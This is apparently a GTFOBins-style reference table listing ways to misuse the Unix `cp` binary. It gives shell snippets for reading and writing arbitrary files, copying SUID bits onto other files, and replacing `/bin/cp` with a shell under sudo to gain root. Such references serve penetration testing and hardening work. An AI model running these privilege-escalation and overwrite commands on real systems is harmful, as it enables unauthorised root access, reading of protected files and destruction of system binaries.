| code |
| LFILE=file_to_read
cp "$LFILE" /dev/stdout
|
|
|
| code |
| LFILE=file_to_write
echo "DATA" | cp /dev/stdin "$LFILE"
|
|
|
| code |
| LFILE=file_to_write
echo "DATA" | ./cp /dev/stdin "$LFILE"
|
|
| description |
code |
| This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. (The GNU version of `cp` has the `--parents` option that can be used to also create the directory hierarchy specified in the source path, to the destination folder.) |
LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
./cp $TF $LFILE
|
|
| description |
code |
| This can copy SUID permissions from any SUID binary (e.g., `cp` itself) to another. |
LFILE=file_to_change
./cp --attributes-only --preserve=all ./cp "$LFILE"
|
|
|
| code |
| LFILE=file_to_write
echo "DATA" | sudo cp /dev/stdin "$LFILE"
|
|
| description |
code |
| This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. (The GNU version of `cp` has the `--parents` option that can be used to also create the directory hierarchy specified in the source path, to the destination folder.) |
LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
sudo cp $TF $LFILE
|
|
| description |
code |
| This overrides `cp` itself with a shell (or any other executable) that is to be executed as root, useful in case a `sudo` rule allows to only run `cp` by path. Warning, this is a destructive action. |
sudo cp /bin/sh /bin/cp
sudo cp
|
|
|
